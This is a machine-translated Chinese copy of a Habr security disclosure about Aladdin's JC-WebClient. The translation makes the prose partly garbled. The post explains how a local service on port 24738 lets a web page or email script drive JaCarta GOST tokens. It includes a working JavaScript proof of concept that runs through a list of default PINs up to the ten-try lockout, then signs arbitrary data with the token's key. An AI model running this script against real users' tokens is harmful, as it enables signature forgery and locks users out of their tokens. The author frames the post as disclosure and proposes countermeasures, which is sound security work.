测试JaCarta WebClient或将令牌存储在安全的环境中

“当黑盖被炸掉一会儿时,玛格丽塔转过身,发现不仅有五颜六色的塔楼高高耸立着飞机,而且很久以前,这座城市本身已经掉入地下,只留下了雾气。”

硕士 布尔加科夫
“大师和玛格丽塔”

哈Ha! 几乎每个俄罗斯组织都可能在欢快的多色着色中使用这些产品。 我们正在谈论JaCarta的产品和软件。 这种幸福也落在我身上,我决定稍微扩大一些黑色的封面,以隐藏其本质或API。 一些银行,特别是向其客户发行JaCarta GOST-2令牌,要求安装Aladdin R.D.的JC-WebClient应用程序才能正常工作。

尽管开发人员的官方网站上没有新的发行版(您可以在“演示”部分中下载较旧的版本,但它使用的是过时的API),但是可以在RB网站上的Google的“ JC-WebClient-4.0.0.1186”行中找到该发行版。

在用户计算机上安装应用程序后,将打开该客户端在其上运行的端口24738。

https://localhost:24738/JCWebClient.js

开发者的网站公开且详细地描述了此应用程序的API(以及通过jcFS.dll(是“ JaCarta Single Client”安装程序包的一部分)与该制造商的整个令牌行的文件系统一起工作的功能),最重要的是,使用许多功能,您可以使用任何东西对令牌的数字签名进行签名,获取PIN码或尝试输入令牌失败而阻止令牌。 并且所有这些都是通过Internet远程进行的。

用户经常为令牌或与令牌一起使用的令牌保留默认的PIN码已经不是什么秘密了(他们通常担心,在更改PIN码时,一切都会停止工作)。

大多数情况下,使用的是123456类型的PIN码,令牌在工作日甚至全天候卡在计算机端口或USB集线器中。

多亏了JC-WebClient,如果您将网页或带有简单JavaScript的电子邮件发送给此类用户,就可以尽管没有获得令牌密钥(在某些情况下,这只能通过直接访问令牌文件系统来实现,但已经给出了示例 ),但是可以尝试拿起PIN码并签名任何数据,然后将其发送到某处。

如果尝试进行10次失败的尝试,则令牌会被阻塞,并且令牌会发生多久,如果未设置用于解锁的管理员代码,则仅初始化会有所帮助。 而且,从供应商处没收的按时缴纳的税款(以及由于利息甚至阻止税收组织的税收帐户)通常是不足够的。



枚举PIN码的问题可以通过仅通过JC-WebClient界面窗口进行输入来解决,也可以作为一种对策,例如,如果3次尝试输入失败,则通过向用户显示一条消息来阻止进一步的授权,直到他将确认您的动作。

我写了一个小的测试脚本来显示此漏洞。 该脚本适用于所有现代和相对现代的浏览器,甚至IE :)

自然,它不会在任何地方发送任何内容,而只是显示一系列功能的结果。

该脚本实现了10次尝试的完整枚举,以尝试输入Pin码“杀死”令牌,因此您只能使用测试令牌来运行脚本!

还应记住,使用此脚本而不是单独使用其测试令牌是违反法律的。

测试结果:


该脚本使用JC-WebClient进行测试以生成密钥对和证书。
您可以使用EToken PRO Java 72 K,JaCarta GOST,JaCarta GOST-2。 令牌必须使用用户PIN 111111预先初始化。

在开始测试之前,必须安装JC-WebClient版本4或更高版本。

 // JCWebClient2 JCWebClient2.initialize(); document.write("JC-WebClient   "+" "); //  JCWebClient2 var vers=JCWebClient2.getJCWebClientVersion(); document.write(" JCWebClient2 " + vers +" "); //         var slots = JCWebClient2.getAllSlots(); document.write(" : "+slots.length+" "); //   for (i = 0; i < slots.length; i++) { var slot = slots[i]; document.write(": "+slot.device.name+" "+slot.device.model+" "); } var tokenID = slot.id, //   userPin = '111111'; // PIN-  //       // (  JCWebClient2.Vars.AuthState.notBinded) var tokenState = JCWebClient2.getLoggedInState(); document.write('1) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //  PIN- JCWebClient2.bindToken({ args: { tokenID: tokenID, pin: userPin } }); //    // (  JCWebClient2.Vars.AuthState.binded) tokenState = JCWebClient2.getLoggedInState(); document.write('2) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //          var keyPairID = JCWebClient2.createKeyPair({ args: { paramSet: "XA", description: "my description", algorithm: JCWebClient2.Vars.KeyAlgorithm.GOST_2012_256 } }); //     (Distinguished Name (DN)), //    (Common Name, (CN)) var dn = { 'CN': '123', 'C': 'RU' }; //  ,      var exts = { 'keyUsage': 'Digital Signature' }; //   var contID = JCWebClient2.generateUserSelfSignedCertificate({ args: { keyPairID: keyPairID, dn: dn, exts: exts, days: 365 } }); //    var list=[]; //   list = JCWebClient2.getContainerList({ args: { tokenID: tokenID } }); // id      var data = list[0]; var contID = data.id; document.write("ID : "+data.id+" "); document.write(" : "+data.description+" "); document.write(" : "+data.algorithm+" "); //   PIN- JCWebClient2.unbindToken(); 

实际上是安全审核脚本本身:

 // JCWebClient2 JCWebClient2.initialize(); document.write("JC-WebClient   "+" "); //  JCWebClient2 var vers=JCWebClient2.getJCWebClientVersion(); document.write(" JCWebClient2 " + vers +" "); //         var slots = JCWebClient2.getAllSlots(); document.write(" : "+slots.length+" "); //   for (i = 0; i < slots.length; i++) { var slot = slots[i]; document.write(": "+slot.device.name+" "+slot.device.model+" "); } //   var tokenID = slot.id; //       // (  JCWebClient2.Vars.AuthState.notBinded) var tokenState = JCWebClient2.getLoggedInState(); document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //    var list=[]; //   list = JCWebClient2.getContainerList({ args: { tokenID: tokenID } }); // id     var data = list[0]; var contID = data.id; document.write("ID : "+data.id+" "); document.write(" : "+data.description+" "); document.write(" : "+data.algorithm+" "); //    (Hello World  Base64) var dataToSign = 'SGVsbG8sIFdvcmxkIQ=='; document.write("  : "+dataToSign+" "); //   var pin=["1234567890", "123456", "1234567", "12345678", "123456789", "0987654321", "111111", "qwerty", "012345", "0123456", "01234567"]; //  function bind(pass) { JCWebClient2.bindToken({ args: { tokenID: tokenID, pin: pass } }); } var i=0; //     //!  10    !!!!!!!!!! while (i < 10) { i++; try{ bind(pin[i]); tokenState = JCWebClient2.getLoggedInState(); //  ,      if(tokenState.state=1) { document.write("   : "+pin[i]+" "); break; } } //    catch(e){document.write(e+" ");} } //    // (  JCWebClient2.Vars.AuthState.binded) tokenState = JCWebClient2.getLoggedInState(); document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //   var CertificateBody=JCWebClient2.getCertificateBody({ args: { id: contID } }); document.write("CertificateBody: "+CertificateBody+" "); //  ,        Base64 var signedData = JCWebClient2.signBase64EncodedData({ args: { contID: contID, data: dataToSign, attachedSignature: true } }); document.write(" . "); document.write(" : "+signedData+" "); //  var signature = signedData; var res = JCWebClient2.verifyBase64EncodedData({ args: { signature: signature } }); document.write("  : "+res+" "); //   PIN- JCWebClient2.unbindToken(); 

JC-WebClient API信息源

Source: https://habr.com/ru/post/zh-CN439790/


All Articles